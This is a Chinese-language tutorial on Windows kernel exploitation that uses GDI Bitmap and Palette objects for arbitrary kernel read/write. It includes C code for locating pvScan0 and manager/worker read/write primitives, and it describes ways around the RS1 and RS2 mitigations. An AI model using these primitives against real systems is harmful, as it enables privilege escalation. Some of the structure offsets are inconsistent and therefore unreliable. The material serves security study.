GDI对象利用
字数 2019 2025-08-24 07:48:33

GDI对象利用技术详解

0x00 前言

GDI(图形设备接口)对象是Windows系统中用于图形处理的重要组件,其中Bitmap(位图)和Palette(调色板)对象由于在内核中的特殊结构,可以被利用来实现内核空间的任意地址读写。本文将详细解析这些技术原理和利用方法。

0x01 Bitmap对象利用

1.1 基础概念

位图显示原理

  • 显示器由像素点构成,采用扫描方法显示
  • 位图采用位映象方法显示和存储,是一个二维像素矩阵
  • 每个像素点通过RGB值确定颜色,调色板(Palette)是存储这些RGB值的表

CreateBitmap函数

HBITMAP CreateBitmap(
    [in] int nWidth,       // 位图宽度(像素)
    [in] int nHeight,      // 位图高度(像素)
    [in] UINT nPlanes,     // 颜色位面数
    [in] UINT nBitCount,   // 单个像素点颜色位数
    [in] const VOID *lpBits // 颜色数据数组指针
);
  • 如果lpBits不指定,会额外创建池块处理PvScan0

SURFACE OBJECT结构

typedef struct {
    BASEOBJECT64 BaseObject;  // 0x00
    SURFOBJ64 SurfObj;        // 0x18
    [...]
} SURFACE64;

包含BASEOBJECT和SURFOBJ两个结构体,其中SURFOBJ.pvScan0指向Pixel Data数据区。

SURFOBJ结构

typedef struct {
    ULONG64 dhsurf;          // 0x00
    ULONG64 hsurf;           // 0x08
    ULONG64 dhpdev;          // 0x10
    ULONG64 hdev;            // 0x18
    SIZEL sizlBitmap;        // 0x20
    ULONG64 cjBits;          // 0x28
    ULONG64 pvBits;          // 0x30
    ULONG64 pvScan0;         // 0x38
    ULONG32 lDelta;          // 0x40
    ULONG32 iUniq;           // 0x44
    ULONG32 iBitmapFormat;   // 0x48
    USHORT iType;            // 0x4C
    USHORT fjBitmap;         // 0x4E
} SURFOBJ64;  // sizeof = 0x50

Bitmap操作API

LONG GetBitmapBits(
    [in] HBITMAP hbit,      // 位图句柄
    [in] LONG cb,           // 要复制的字节数
    [out] LPVOID lpvBits    // 指向缓冲区的指针
);

LONG SetBitmapBits(
    [in] HBITMAP hbm,       // 位图句柄
    [in] DWORD cb,          // 数组字节数
    [in] const VOID *pvBits // 颜色数据数组指针
);

1.2 Bitmap任意地址读写(Windows < 1607)

原理

  • Pixel Data可以通过GetBitmapBits和SetBitmapBits控制读写
  • pvScan0和Pixel Data都在内核空间,通过修改pvScan0可实现任意地址读写

获取pvScan0地址的方法

  1. 通过NtCurrentTeb获取TEB基址
  2. TEB偏移0x60处获取PEB基址
  3. PEB偏移0xf8处获取GdiSharedHandleTable地址
  4. GdiSharedHandleTable是GDICELL结构体数组,索引为hBitmap & 0xFFFF

GDICELL结构

typedef struct _GDI_CELL {
    PVOID64 pKernelAddress;  // 0x00
    USHORT wProcessId;       // 0x08
    USHORT wCount;           // 0x0a
    USHORT wUpper;           // 0x0c
    USHORT wType;            // 0x0e
    PVOID64 pUserAddress;    // 0x10
} GDICELL64;  // sizeof = 0x18

计算pvScan0地址的代码

DWORD64 GetpvScan0Addr(HBITMAP hBitmap) {
    DWORD64 tebAddr = NtCurrentTeb();
    DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
    DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
    DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64)hBitmap & 0xffff) * 0x18;
    DWORD64 surfObj = pKernelAddress + 0x18;
    DWORD64 pvScan0Addr = surfObj + 0x38;
    return pvScan0Addr;
}

利用思路

  1. 创建两个Bitmap:hManager和hWorker
  2. 获取两者的pvScan0地址
  3. 利用任意地址写使hManager.pvScan0指向hWorker.pvScan0地址
  4. 任意写:
    • SetBitmapBits向hManager.pvScan0写入目标地址
    • SetBitmapBits向hWorker.pvScan0写入数据
  5. 任意读:
    • SetBitmapBits向hManager.pvScan0写入目标地址
    • GetBitmapBits读取hManager.pvScan0指向的值

示例代码

VOID ReadOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID readValue, int len) {
    SetBitmapBits(hManager, len, &writeAddr);
    GetBitmapBits(hWorker, len, readValue);
}

VOID WriteOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID writeValue, int len) {
    SetBitmapBits(hManager, len, &writeAddr);
    SetBitmapBits(hWorker, len, writeValue);
}

int main() {
    HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
    HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
    DWORD64 hManager_pvScan0 = GetpvScan0Addr(hManager);
    DWORD64 hWorker_pvScan0 = GetpvScan0Addr(hWorker);
}

1.3 绕过RS1缓解措施(Windows < 1703)

变化

  • RS1后GdiSharedHandleTable不再透露内核地址

绕过方法

  • 利用Accelerator table对象重用技术
  • Windows对象类型:
    • User object (如Accelerator table)
    • GDI object (如Bitmap)
    • Kernel object
  • Accelerator table对象地址可通过pKernel获得

SHAREDINFO结构

typedef struct _SHAREDINFO {
    PSERVERINFO psi;
    PHANDLEENTRY aheList;
    ULONG_PTR HeEntrySize;
    PDISPLAYINFO pDisplayInfo;
    ULONG_PTR ulSharedDelta;
    WNDMSG awmControl[27];
    WNDMSG awmControl[31];
    WNDMSG DefWindowMsgs;
    WNDMSG DefWindowSpecMsgs;
} SHAREDINFO, *PSHAREDINFO;

USER_HANDLE_ENTRY结构

typedef struct _USER_HANDLE_ENTRY {
    void *pKernel;
    union {
        PVOID pi;
        PVOID pti;
        PVOID ppi;
    };
    BYTE type;
    BYTE flags;
    WORD generation;
} USER_HANDLE_ENTRY, *PUSER_HANDLE_ENTRY;

对象重用技术

  1. 创建多个Accelerator table对象
  2. 销毁这些对象
  3. 创建Bitmap对象,使其复用之前的内存

1.4 绕过RS2缓解措施(Windows < 1709)

变化

  • RS2禁用了HANDLE_ENRTY结构体的pkernel

新方法

  1. 利用窗口菜单名lpszMenuName
  2. 使用HMValidateHandle获取tagWnd指针
  3. 通过tagWnd找到lpszMenuName对象地址
  4. 类似Accelerator table方式获取pvScan0地址

0x02 Palette对象利用

2.1 基础概念

PALETTE64结构

typedef struct _PALETTE64 {
    BASEOBJECT64 BaseObject;  // 0x00
    FLONG flPal;              // 0x18
    ULONG32 cEntries;         // 0x1C
    ULONG32 ulTime;           // 0x20
    HDC hdcHead;              // 0x24
    ULONG64 hSelected;        // 0x28
    ULONG64 cRefhpal;         // 0x30
    ULONG64 cRefRegular;      // 0x34
    ULONG64 ptransFore;       // 0x3c
    ULONG64 ptransCurrent;    // 0x44
    ULONG64 ptransOld;        // 0x4C
    ULONG32 unk_038;          // 0x38
    ULONG64 pfnGetNearest;    // 0x3c
    ULONG64 pfnGetMatch;      // 0x40
    ULONG64 ulRGBTime;        // 0x44
    ULONG64 pRGBXlate;        // 0x48
    PALETTEENTRY *pFirstColor; // 0x80
    struct _PALETTE *ppalThis; // 0x88
    PALETTEENTRY apalColors[3]; // 0x90
}
  • pFirstColor类似Bitmap的pvScan0,指向apalColors[3]

PALETTEENTRY结构

class PALETTEENTRY(Structure):
    _fields_ = [
        ("peRed", BYTE),
        ("peGreen", BYTE),
        ("peBlue", BYTE),
        ("peFlags", BYTE)
    ]

2.2 CreatePalette函数

HPALETTE CreatePalette(
    [in] const LOGPALETTE *plpal
);

LOGPALETTE结构

typedef struct tagLOGPALETTE {
    WORD palVersion;        // 0x300
    WORD palNumEntries;     // palNumEntries = (size-0x90)/4
    PALETTEENTRY palPalEntry[1];
} LOGPALETTE, *PLOGPALETTE, *NPLOGPALETTE, *LPLOGPALETTE;

2.3 Palette操作API

UINT GetPaletteEntries(
    [in] HPALETTE hpal,          // palette句柄
    [in] UINT iStart,           // 起始项
    [in] UINT cEntries,         // 项数
    [out] LPPALETTEENTRY pPalEntries // 接收数组
);

UINT SetPaletteEntries(
    [in] HPALETTE hpal,         // palette句柄
    [in] UINT iStart,           // 起始项
    [in] UINT cEntries,         // 项数
    [in] const PALETTEENTRY *pPalEntries // 数据数组
);

2.4 利用思路

  1. 创建两个Palette对象:hWorker和hManager
  2. 通过堆喷射获取两者的pFirstColor指针内核地址
  3. 使hManager的pFirstColor指向hWorker的pFirstColor地址
  4. 任意写:
    • SetPaletteEntries修改hWorker.pFirstColor为目标地址
    • SetPaletteEntries向目标地址写入数据
  5. 任意读:
    • SetPaletteEntries修改hWorker.pFirstColor为目标地址
    • GetPaletteEntries从目标地址读取数据

总结

GDI对象利用技术经历了多个Windows版本的演变,从最初的Bitmap利用到后来的Palette利用,随着微软不断添加缓解措施,利用方法也不断演进。理解这些技术需要对Windows内核对象和GDI子系统有深入的认识,同时需要掌握内存重用、地址泄露等关键技术。

GDI对象利用技术详解 0x00 前言 GDI(图形设备接口)对象是Windows系统中用于图形处理的重要组件,其中Bitmap(位图)和Palette(调色板)对象由于在内核中的特殊结构,可以被利用来实现内核空间的任意地址读写。本文将详细解析这些技术原理和利用方法。 0x01 Bitmap对象利用 1.1 基础概念 位图显示原理 : 显示器由像素点构成,采用扫描方法显示 位图采用位映象方法显示和存储,是一个二维像素矩阵 每个像素点通过RGB值确定颜色,调色板(Palette)是存储这些RGB值的表 CreateBitmap函数 : 如果lpBits不指定,会额外创建池块处理PvScan0 SURFACE OBJECT结构 : 包含BASEOBJECT和SURFOBJ两个结构体,其中SURFOBJ.pvScan0指向Pixel Data数据区。 SURFOBJ结构 : Bitmap操作API : 1.2 Bitmap任意地址读写(Windows < 1607) 原理 : Pixel Data可以通过GetBitmapBits和SetBitmapBits控制读写 pvScan0和Pixel Data都在内核空间,通过修改pvScan0可实现任意地址读写 获取pvScan0地址的方法 : 通过NtCurrentTeb获取TEB基址 TEB偏移0x60处获取PEB基址 PEB偏移0xf8处获取GdiSharedHandleTable地址 GdiSharedHandleTable是GDICELL结构体数组,索引为hBitmap & 0xFFFF GDICELL结构 : 计算pvScan0地址的代码 : 利用思路 : 创建两个Bitmap:hManager和hWorker 获取两者的pvScan0地址 利用任意地址写使hManager.pvScan0指向hWorker.pvScan0地址 任意写: SetBitmapBits向hManager.pvScan0写入目标地址 SetBitmapBits向hWorker.pvScan0写入数据 任意读: SetBitmapBits向hManager.pvScan0写入目标地址 GetBitmapBits读取hManager.pvScan0指向的值 示例代码 : 1.3 绕过RS1缓解措施(Windows < 1703) 变化 : RS1后GdiSharedHandleTable不再透露内核地址 绕过方法 : 利用Accelerator table对象重用技术 Windows对象类型: User object (如Accelerator table) GDI object (如Bitmap) Kernel object Accelerator table对象地址可通过pKernel获得 SHAREDINFO结构 : USER_ HANDLE_ ENTRY结构 : 对象重用技术 : 创建多个Accelerator table对象 销毁这些对象 创建Bitmap对象,使其复用之前的内存 1.4 绕过RS2缓解措施(Windows < 1709) 变化 : RS2禁用了HANDLE_ ENRTY结构体的pkernel 新方法 : 利用窗口菜单名lpszMenuName 使用HMValidateHandle获取tagWnd指针 通过tagWnd找到lpszMenuName对象地址 类似Accelerator table方式获取pvScan0地址 0x02 Palette对象利用 2.1 基础概念 PALETTE64结构 : pFirstColor类似Bitmap的pvScan0,指向apalColors[ 3 ] PALETTEENTRY结构 : 2.2 CreatePalette函数 LOGPALETTE结构 : 2.3 Palette操作API 2.4 利用思路 创建两个Palette对象:hWorker和hManager 通过堆喷射获取两者的pFirstColor指针内核地址 使hManager的pFirstColor指向hWorker的pFirstColor地址 任意写: SetPaletteEntries修改hWorker.pFirstColor为目标地址 SetPaletteEntries向目标地址写入数据 任意读: SetPaletteEntries修改hWorker.pFirstColor为目标地址 GetPaletteEntries从目标地址读取数据 总结 GDI对象利用技术经历了多个Windows版本的演变,从最初的Bitmap利用到后来的Palette利用,随着微软不断添加缓解措施,利用方法也不断演进。理解这些技术需要对Windows内核对象和GDI子系统有深入的认识,同时需要掌握内存重用、地址泄露等关键技术。